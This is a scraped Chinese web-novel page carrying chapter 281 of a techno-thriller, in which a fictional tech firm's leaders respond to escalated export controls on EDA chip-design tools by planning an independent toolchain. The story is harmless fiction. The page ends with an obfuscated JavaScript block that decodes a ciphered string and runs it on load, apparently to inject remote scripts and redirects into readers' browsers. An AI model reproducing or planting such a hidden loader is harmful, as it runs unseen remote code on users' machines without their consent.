首页
第281章 EDA限制升级
返回
关灯 护眼:关 字号:小

第281章 EDA限制升级

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    联调区里那台工程机仍旧安静地亮着。
    屏幕上的内部界面没有任何多馀修饰,极薄的边界像被晨光轻轻擦过,冷静丶克制,甚至带着一种近乎不肯炫耀的锋利。它没有靠堆料把自己撑成一台「更贵的机器」,也没有靠补丁与妥协把各条能力勉强捏在一起。它就那样稳定地运行着,像一台已经学会了如何自己呼吸丶如何在复杂系统中让所有器官按同一秩序共活的终端。
    可总控区里的空气,却在那一瞬间陡然变了。
    周明递出去的终端还停留在那条一级异常预警页面上。陈醒只看了不到五秒,眼神就一点点沉了下去。不是意外,不是愤怒,而是一种极快完成判断后的冷硬。
    林薇第一个察觉到不对。
    【记住本站域名看台湾小说首选台湾小说网,t??w??k??a??n??.c??o??m??随时看】
    她没有问「怎麽了」,而是直接走近两步,看向周明:「哪一类?」
    周明声音压得很低:「工具链。」
    这三个字落下去,周围几个人神色同时一紧。
    如果说规则战丶舆论战丶专利战丶供应链试探,这些都还能被视为围堵未来科技不断升级的外层攻势,那麽工具链,就是更深丶更狠的一刀。它不直接打你已经做出来的机器,不直接碰你手里的工程机,也不急着否认你此刻的突破。它要做的,是切断你继续把这种突破复制下去丶放大下去丶演进下去的能力。
    陈醒把终端递回给周明,声音很平:「念。」
    周明点开加密摘要,直接读最核心的部分:
    「北洲方面刚刚在今晨协调发布新一轮高端晶片与电子设计工具限制措施。限制内容不再只针对先进位程相关设计许可,而是将部分高性能通用设计工具丶版图验证模块丶时序收敛优化丶混合信号协同仿真以及关键IP适配环境一并纳入新出口管控目录。对现有授权客户,将启动重新审核机制;对处在续签丶扩容丶模块升级阶段的非盟系企业,将原则上暂停审批。」
    他说到这里,停了一下。
    总控区里没有一点杂音,甚至连远处设备运转的低频声都像被这几句话压得更远了些。
    周明继续往下读:
    「附带解释口径强调,此轮限制针对的是『可能显着提升高端晶片自主设计丶复杂系统级协同设计及先进终端整合能力的敏感软体与相关技术支持服务』。另外,数家核心供应方已同步向合作客户发出内部风控提示,建议提前评估工具链可持续性与合规风险。」
    工具链可持续性。
    合规风险。
    任何一个做过晶片丶做过系统底层的人都知道,这两句话翻译过来就是同一个意思——你们以后未必还能继续用。
    顾楠先开口,声音发涩:「不是单卡制程,是把整条设计链往上掐。」
    章宸没有说话,只是抬头看向联调台上那台仍在稳定运行的工程机。
    他比谁都明白这意味着什麽。
    天衡5之所以能走到今天,不只是因为架构丶工艺和调度逻辑做对了,也不是只靠团队死扛过了某几轮关键攻坚。晶片设计这件事,从来不是单靠人脑和草图就能在现代工业环境里完成的。底层逻辑验证丶复杂模块协同丶功耗分析丶版图收敛丶时序闭环丶信号完整性丶规则检查……这一整套东西背后,本质上都建立在极其庞大丶极其复杂丶极其不愿意被外界替代的软体工具体系上。
    那不是普通软体。
    那是现代高端晶片工业里最隐蔽丶也最难被后发者短时间补齐的根骨之一。
    李明哲看着周明终端上的摘要,低声道:「他们已经不满足于做『追赶压制』了。他们现在要做的是,把未来科技从『已经开始形成自己的整机范式』往回按,按死在无法持续演进的地方。」
    「不是未来科技。」周明纠正他,「是整个高端自主设计能力。」
    这句话更重。
    因为所有人都知道,飞星丶天衡5丶统一算力架构丶车端并线丶卫星链路接入丶整机生命体方法……这些东西之所以让外部感到危险,从来不是因为未来科技造出了一台难对付的终端,而是因为未来科技正在证明,一条完整的丶自洽的丶能从晶片一直通到终端和制造体系的工业路径,正在华夏体系内部开始长出来。
    而现在,这一刀,就是冲着那条路径的骨头来的。
    林薇把目光从终端移回工程机,语气比刚才更冷:「影响判断。」
    周明已经准备好了第二层信息:「初步看,短期内现有库存授权和已完成本地部署的模块不会立刻全部失效,但后续升级丶关键模块续签丶部分高阶验证环境和新项目适配能力都可能被卡。更麻烦的是,限制口径故意留得很宽。只要他们认定某项设计活动与高端晶片丶自主工具链替代或者复杂系统级整合有关,都可以往敏感方向解释。」
    「也就是说,」赵静接过来,「他们未必要今天把你手里的工具全关掉,只要让你明天不敢继续往前走,就够了。」
    周明点头:「对。」
    陈醒终于开口:「哪些线最敏感?」
    章宸这次没有等别人说,直接答了出来:「后续晶片演进。特别是高复杂度版图丶时序收敛丶功耗联动分析,还有多模块大规模协同验证。天衡5当前版本手里的闭环还能撑一段,但再往下一代推,或者想把统一算力架构在手机丶车端和其他终端上继续扩展,工具链会越来越关键。」
    顾楠补了一句:「还有工程效率。很多东西不是不能靠更笨的方式做,而是如果工具链被砍到一定程度,研发周期会被拉长到无法接受,试错成本会暴涨,团队精力会被拖死在无穷无尽的手工补偿里。」
    「车端也会受影响。」秦峥不知何时已经站到了总控区边缘,显然是接到消息后直接赶了过来,「天权5A后面稳定性拉长窗丶高温漂移收敛丶复杂车规场景验证,本来就比终端更吃工具与验证环境。要是那边一起收口,汽车事业部会被连带掐住节奏。」
    顾行也沉着脸:「射频和整机协同仿真模块如果受限,飞星后面量产收敛也会被恶心。不是今天立刻死,但每往前走一步都更费命。」
    一时间,整个总控区像被压进了另一种更深层的战争状态里。
    刚刚那种工程机成型后的安静确认感,还没来得及真正落进所有人心里,外部世界就已经把更冷的现实砸了过来。
    你可以把新时代终端做出来。
    但你未必还能继续把它往下做。
    这才是这一刀真正阴的地方。
    李明哲眼神一点点变冷:「时机挑得很准。飞星成型丶整机范式开始显影丶统一算力架构正在跨端落地丶外部媒体刚刚开始把华夏高端创新从『局部突破』上拉到『体系能力』,他们现在出手,不只是技术卡位,也是认知压制。」
    周明接上:「对外话术会很快跟上。北洲那边一定会说这只是常规安全审查,是为了防止敏感能力扩散;火龙联盟也会顺势把未来科技往『高风险自主体系』叙事里推。接下来不会只有限制文件,还会有舆论和资本层的同步敲打。」
    「那就说明他们怕了。」赵静低声说。
    没有人反驳。
    可怕归怕,现实压力也是真的。
    章宸这时终于从工程机身上收回目光,转向陈醒:「结论很清楚了。天衡5之后,我们不能再默认设计工具链永远站在我们这边。哪怕这轮禁令只卡住一半,我们也必须把最坏情况当成默认情况。」
    林薇问得更直接:「飞星当前排期要不要改?」
    这是一个所有人都知道必须马上回答的问题。
    因为工程机成型只是门票,后面还有更长的联调丶量产收敛丶设计冻结丶边界修正丶车端协同丶下一代晶片规划。如果这时候工具链出问题,最危险的不是某个模块突然不能用了,而是集团内部节奏开始摇摆,所有线同时陷入「要不要等」「要不要先观望」的停滞。
    那会比禁令本身更致命。
    陈醒没有立刻回答。
    他转身看向那台天衡5工程机。
    屏幕还稳稳亮着,卫星二层侦听丶本地AI后台驻留丶边界回流丶热和供电,全都按同一张整机逻辑呼吸着。它安静得甚至显得有些倔强——像在这种时候,偏偏要用自己的存在提醒所有人:这条路已经被你们做出来了,不是对方发一道限制令,就能当它从未存在过。
    过了几秒,陈醒问周明:「这次文件里,有没有给外界留『豁免预期』?」
    周明摇头:「很少。口子很窄,而且充满不确定性。能申请不代表会批,会批不代表可持续。更关键的是,哪怕今天批,明天也可以用补充说明把你卡住。」
    「也就是说,等别人发善心,等于等死。」陈醒说。
    「是。」周明答得很乾脆。
    陈醒又看向章宸:「现有链条,最少还能撑多久?」
    章宸没有做乐观估计,直接按最差情况回答:「如果只保当前项目收敛,不激进往后推,能撑一段时间。但只要进入下一轮高复杂叠代,尤其是想把后续晶片和跨端统一架构继续往上拉,风险会迅速放大。我们可以靠现有积累扛一阵,不可能靠祈祷扛过去。」
    「能不能拆?」林薇问,「把最敏感部分先拆出来,局部替代,先保飞星和天权5A往前。」
     章宸沉吟几秒:「能拆一部分,但那只是应急,不是根解。真正卡脖子的不是单个按钮或界面,而是整套设计方法丶验证方法丶收敛方法都绑在别人定义的工具体系里。你替一点能活,替不了全链就迟早还要被掐。」
    总控区又安静了下来。
    这一次,那种安静和刚才工程机成型时完全不同。
    刚才是某种接近答案的确认。
    现在是所有人都意识到,真正更大的战争已经提前来了。
    赵静望着联调台上的飞星,忽然低声说了一句:「他们现在限制的,其实不只是工具。」
    顾楠看向她。
    赵静缓缓道:「他们限制的是『我们继续定义下一代终端和下一代晶片的能力』。飞星今天为什麽危险?不是因为它是一台好手机,而是因为它把晶片丶系统丶终端丶制造和连接能力真正长成了一个整体。现在他们往工具链下手,就是想让这个整体从下一步开始长不下去。」
    这句话一出来,几个人的神色都变得更沉。
    因为这已经不是某个部门的危机,而是对未来科技整个战略根骨的挑战。
    陈醒终于转过身,看向所有人。
    「飞星排期不改。」他说。
    语气不高,却把整个总控区一下压住了。
    林薇看着他,没有说话,等他往下说。
    「量产收敛丶并机验证丶边界冻结丶卫星二层稳定性拉长窗,全部按原节奏推进。车端协同线不停,统一算力跨端验证不停。谁都不许因为外面发了一纸禁令,就先在自己心里把路判死。」
    周明点了一下头,显然早就猜到陈醒不会让项目停下来。
    可陈醒下一句,才是真正让所有人目光一变的地方。
    「但从今天起,未来科技内部所有涉及晶片演进丶版图验证丶时序收敛丶系统级协同设计的线,全部进入『工具链独立生存预案』。」
    工具链独立生存预案。
    这个说法让章宸眼神陡然一凝。
    他太清楚这几个字背后的分量了。那不是简单囤库存丶延长授权丶找替代软体凑合用,也不是拉几家供应商来谈更好的条款。那意味着集团必须开始以真正的战时思维面对一个此前虽然一直知道重要丶但还没被彻底逼到眼前的问题——如果别人连EDA这条根工具链都要卡,那未来科技到底有没有可能让自己的晶片设计和高端系统设计,逐步脱离对外部体系的绝对依赖?
    秦峥第一个想到的是现实:「这不是一朝一夕的事。」
    「我知道。」陈醒看着他,「但别人也不是今天才开始准备这把刀。今天刀已经落下来,我们就不能还拿『这事太大,得以后再说』当藉口。」
    章宸盯着陈醒:「你想做到哪一步?」
    陈醒没有直接回答这个问题,而是反问了一句:「天衡5做出来之前,多少人觉得我们做不到今天这一步?」
    没有人出声。
    因为他们都知道答案。
    太多了。
    从晶片到系统,从EUV光源到14nm,从天枢到统一算力,从飞星整机生命体到卫星链路二层接入,这一路上哪一步不是在「绝大多数人觉得还早」的判断里硬生生做出来的?
    陈醒继续道:「做不做得到,是后面的问题。先决定要不要做,这是现在的问题。」
    这一句话,彻底把所有犹豫压成了更明确的战时现实。
    林薇看着他,眼神一点点变稳:「那就不能只让晶片组自己扛。这件事一旦动,牵扯的不只是版图和验证,而是晶片丶系统丶制造丶算法丶数学丶自动化全要进。」
    「对。」陈醒点头,「它不会只是个工具软体项目。它会是一场新的工业底座战争。」
    周明听到这里,立刻把自己的判断补上:「那保密等级要上提。只要内部稍微透一点风出去,外面很快就会猜到未来科技在往哪条路上转。到时候禁令不会停,舆论战还会把我们往『不自量力』和『危险替代』两个方向同时打。」
    李明哲也抬起头:「外部叙事我来接。短期内,对外继续把飞星和体系化创新上拉到『高复杂工业组织能力』与『终端范式进化』层面,不落到设计工具链。至于那边的限制升级,我们先不抢着喊口号,先看他们后续释放哪些配套声音。」
    「他们会继续放风。」周明冷声道,「先制造不确定性,再逼产业链自己站队。」
    「那就让他们先以为我们也只是在想办法续命。」陈醒说。
    众人目光一顿。
    李明哲很快听懂了:「你是说,外面先装得低一点?」
    「不是装。」陈醒看着他,「是别在还没准备好之前,让别人提前知道我们真正准备做什麽。」
    这话一出,周明和李明哲几乎同时点头。
    因为他们都明白,这种时候最危险的从来不是对方出刀,而是你在刀刚落下时就把自己的下一步底牌亮了出来。
    总控区另一边,赵静看着联调台上的飞星,忽然又想起一件事。
    「小芯。」她说。
    陈醒看向她。
    赵静眼神很亮,却很冷静:「如果工具链真要走独立预案,小芯不能只继续停在制造辅助和整机冲突分析。它未来很可能得更深地进设计流程。电路结构搜索丶路径冲突识别丶参数空间裁剪丶版图优化……这些东西本质上都在处理复杂组合问题。」
    章宸听到这里,眼神也跟着动了一下。
    他没有立刻反驳,因为他知道赵静说的不是空话。EDA之所以难,不只是因为代码复杂,而是因为它把数学丶规则丶工程经验丶搜索优化和工业约束全压在了一起。人类工程师用传统方式去跑这些流程已经极其艰难,而小芯如果真的能在制造丶整机丶冲突分析这些地方证明自己具备处理复杂高约束空间的能力,那未来某些设计工具环节未必不能让AI先参与进去。
    可那已经是后一步了。
    眼下最先要解决的,是所有人都必须承认一个事实:未来科技不能再把EDA和高端设计工具链当成别人永远会提供的背景设施。
    林薇这时看了眼时间,冷静地下判断:「飞星联调继续跑长窗,所有并机数据分级入库。周明,你去拉法务和合规,把禁令全文丶解释空间丶潜在执行路径和所有可能的后续补刀全拆出来。李明哲,外部舆情面先稳,不主动放大,不被动失语。章宸,今晚就把晶片平台相关工具依赖图给我拉出来,哪些是必须保,哪些能降级,哪些一旦断就必须立刻启动替代研究,先画清楚。」
    她说到这里,顿了一下,目光扫过众人。
    「从现在开始,飞星继续做飞星。但未来科技要准备打另一场仗了。」
    没人觉得这句话夸张。
    因为每个人都已经清楚,外面的禁令不是想阻止一代产品,而是想打断未来科技好不容易长出来的那条时代级曲线。
    陈醒最后看了一眼那台天衡5工程机。
    屏幕还亮着,边界平稳,像一把刚刚出鞘便迎来更大风暴的刀。
    他缓缓开口,声音不高,却让整个总控区都静了下来:
    「他们限制的是EDA,不是我们的脑子。」
    章宸抬起头,目光第一次真正和陈醒在这个问题上撞到一起。
    周明也看向他,像是已经预感到陈醒接下来会把事情推进到什麽程度。
    陈醒没有继续展开,只留下一句更像命令丶也更像某种新阶段宣言的话:
    「今晚中央研究院开闭门会。晶片丶系统丶算法丶自动化丶数学丶工具链丶法务丶情报,全都进来。」
    「把所有人叫齐。」
    「我要知道,假如别人今天开始不让我们往前走——」
    他停了一下,目光沉得像铁。
    「我们自己,能不能把路写出来。」
    总控区里一片死寂。
    这不是情绪化的狠话。
    也不是对禁令的正面宣战。
    而是一个更冷丶更硬丶更接近本质的判断:当外部世界已经开始试图切断你定义新时代终端与高端晶片的工具时,未来科技必须回答的,已经不是「怎麽躲开这一刀」,而是「能不能把那把刀原本卡住的东西,自己造出来」。
    联调台上,飞星还在安静运行。
    而园区之外,天色已彻底亮了。
    新的限制令正在通过新闻端丶产业端丶资本端和合规端,迅速向全球扩散;更大的围堵和更密的试探,正在路上。
    可在中央研究院顶层那间即将亮起灯的会议室里,一场比飞星并机更深丶更险丶也更可能改变未来科技命运的讨论,才刚刚要开始。
    下一场战争,已经不是「如何把终端做出来」。
    而是——
    当别人连你继续设计未来的工具都想拿走时,
    你还能不能,自己写出一套新的工具。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();